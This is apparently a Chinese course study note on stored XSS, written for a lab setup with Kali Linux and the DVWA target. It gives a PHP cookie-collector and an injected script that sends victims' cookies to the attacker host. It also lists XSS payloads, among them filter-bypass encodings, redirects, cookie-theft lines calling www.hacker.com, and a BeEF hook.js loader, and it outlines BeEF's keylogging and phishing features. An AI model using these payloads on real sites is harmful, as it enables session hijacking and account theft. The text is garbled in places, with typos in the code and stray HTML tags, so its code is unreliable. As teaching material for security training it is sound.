XSS 跨站脚本攻击_3 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_3

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9913


XSS 跨站脚本攻击_2


内容介绍

一、  存储型 XSS

二、  构造 XSS 脚本

三、  自动化 XSS


一、  存储型 XSS

存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常

image.png

1.  手工【低】

1)  攻击1 弹框告警:渗透机 kali Linux 端操作

text1

alert(‘<span>yangge')

2)  攻击2 获取 cookie:渗透机 Kali Linux 端操作

a)  构建收集 cookie 服务器

b)  构造 XSS 代码并植入到 Web 服务器

c)  等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali

d)  Cookie 利用

image.png

3) root@kali:~#[vim /var/www/html/cookie_rec.php

$cookie = $_GET['cookie'];

$log一fopen(cookie.txt","a")

fwrite($log, $cookle "\n");

fclose($log);

?>

root@kali:# chown -R www-data.www-data /var/www/

2. 通过渗透机植入 XSS 代码:  

(script>window.open('http://192.168.106

14d/cookierec.php?cookle-"+document.cookle)

注:192.168.106.140 为 kali Linux IP

注:先清除之前植入的 XS5代码

image.png


二、构造 XSS 脚本

1. 弹框警告

此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。

alert('xss')

alert(document.cookie)

2. 页面嵌套

3. 页面重定向

window.location="http://www.qfedu.com"

location.href="http://www.baidu.com"

4. 弹框警告并重定向  

alert("请移步到我们的新站”);location.hre</span></code></div><div><code><span class="lake-fontsize-1515">/www.qfedu.com"

alert('xss');location.href="http://1e 35/mutillidae/robots.txt"

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)

5. 访问恶意代码

s/script></span></code><span class="lake-fontsize-1515"> #结合 BeEF 收集用户的 cookie</span></div><div><strong><span class="lake-fontsize-1515">6. 巧用图片标签</span></strong></div><div><code><span class="lake-fontsize-1515">< img src="#”onerror=alert('xss')></span></code></div><div><code><span class="lake-fontsize-1515"><ing src="javascript:alert('xss');"></span></code></div><div><code><span class="lake-fontsize-1515">< img src="http://BeEF_IP:3000/hook.js"></img></span></code></div><div><strong><span class="lake-fontsize-1515">7. 绕开过滤的脚本</span></strong></div><div><span class="lake-fontsize-1515">大小写 <ScrIpt>alert('xss')

字符编码 采用 URL、Base64等编码

href=”¦ava8#115cr8#105pt:a8#108Ϻ#114;8#1168#40;"xss");">yangge

8. 收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie

new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;

new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;</span></code></div><div><code><span class="lake-fontsize-1515">img.height =0;</span></code></div><div><code><span class="lake-fontsize-1515">


三、自动化 XSS

1. Browser Exploitation Framework (BeEF)

BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;

BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;

http://beefproject.com/

1)信息收集:

1.网络发现

2.主机信息

3. Cookie 获取

4.会话劫持

5.键盘记录

6.插件信息

2)持久化控制:

1. 确认弹框

2. 小窗口

3.中间人

3)社会工程

1. 点击劫持

2. 弹窗告警

3. 虚假页面

4. 钓鱼页面

4)渗透攻击:

1.内网渗透

2. Metasploit

3.CSRF 攻击

4. DDOS 攻击

2.BeEF 基础

1)启动 Apache 和 BeEF:

root@kali:~# service apache2 start

</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;">注:192.168.106.140为 BeEF 所在机器,即 Kali Linux IP</span></div><div><span class="lake-fontsize-1515" style="color: #000000;">2)登录 BeEF:</span></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">username:beef</span></code></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">password:beef</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;"><span data-card-type="inline" data-ready-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fucc.alicdn.com%2Fpic%2Fdeveloper-ecology%2F220bc2516ced40a9bac2902073c657d2.png%22%2C%22originWidth%22%3A865%2C%22originHeight%22%3A502%2C%22name%22%3A%22image.png%22%2C%22size%22%3A532725%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A865%2C%22height%22%3A502%7D"></span></span></div><div><span class="lake-fontsize-1515">渗透机将脚本放在 <span>DWVA </span>靶机中:</span></div><div><code><span class="lake-fontsize-1515"><script src="http://192.168.106.140:3000/hook.js">x/scr</span></code></div><div><span class="lake-fontsize-1515">注:<span>192.168.106.140</span>为 <span>BeEF </span>所在机器,即 <span>Kali Linux,IP</span></span></div><div><span class="lake-fontsize-1515">注:需修改字符数的限制,例如为<span>200</span></span></div><div><span class="lake-fontsize-1515"><span>1.  </span></span><span class="lake-fontsize-1515">信息收集</span></div><div><span class="lake-fontsize-1515">命令颜色<span>(Color)</span>:</span></div><div><span class="lake-fontsize-1515">绿色对目标主机生效并且不可见<span>(</span>不会被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">橙色对目标主机生效但可能可见<span>(</span>可能被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">灰色对目标主机未必生效<span>(</span>可验证下<span>)</span></span></div><div><span class="lake-fontsize-1515">红色对目标主机不生效</span></div><div><span class="lake-fontsize-1515">Get Cookie  </span><span class="lake-fontsize-1515">获取信息</span></div><div><span class="lake-fontsize-1515">Get From Cookie  </span><span class="lake-fontsize-1515">获取值</span></div><div><span class="lake-fontsize-1515">Get Page HREFs  </span><span class="lake-fontsize-1515">获取页面链接</span></div><div><span class="lake-fontsize-1515">Get Page HTML  </span><span class="lake-fontsize-1515">获取页面 <span>HTML</span></span></div><div><span class="lake-fontsize-1515">Replace HREFs  替换页面连接</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>Click Events</span>)</span></div><div><span class="lake-fontsize-1515">该模块将使用 <span>Bilawal Hameed </span>更新点击事件处理来重写所有匹配链接的所有 <span>href </span>属性,这将隐藏所有更新链接的目标站点。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>HTTPS</span>)</span></div><div><span class="lake-fontsize-1515">此模块将重写<span>HTTPS</span>链接的所有<span>href</span>属性以使用 <span>HTTPS</span>,不会重写相对于 <span>web </span>根目录的链接。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>TEL</span>)</span></div><div><span class="lake-fontsize-1515">该模块重写<span>HTTPS</span>链接的所有电话链接的 <span>href </span>属性。</span></div>

相关文章
|
4月前
|
存储 JavaScript 安全
你知道跨站脚本攻击吗?
你知道跨站脚本攻击吗?
|
SQL 存储 安全
XSS 跨站脚本攻击_1 学习笔记
快速学习 XSS 跨站脚本攻击_1
116 0
XSS 跨站脚本攻击_1 学习笔记
|
Web App开发 网络协议 安全
XSS 跨站脚本攻击_5 | 学习笔记
快速学习 XSS 跨站脚本攻击_5
92 0
XSS 跨站脚本攻击_5 | 学习笔记
|
存储 SQL 安全
XSS 跨站脚本攻击_2 | 学习笔记
快速学习 XSS 跨站脚本攻击_2
169 0
XSS 跨站脚本攻击_2 | 学习笔记
|
存储 SQL 安全
XSS 跨站脚本攻击_3 | 学习笔记
快速学习 XSS 跨站脚本攻击_3
123 0
XSS 跨站脚本攻击_3 | 学习笔记
|
存储 安全 网络安全
XSS 跨站脚本攻击_4 | 学习笔记
快速学习 XSS 跨站脚本攻击_4
195 0
XSS 跨站脚本攻击_4 | 学习笔记
|
Web App开发 安全 JavaScript
网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于《白帽子讲web安全》 XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行。防御方法核心是输入检查和输出编码。
1201 0
|
前端开发 JavaScript
|
JavaScript 前端开发 数据格式
|
安全 Shell 数据安全/隐私保护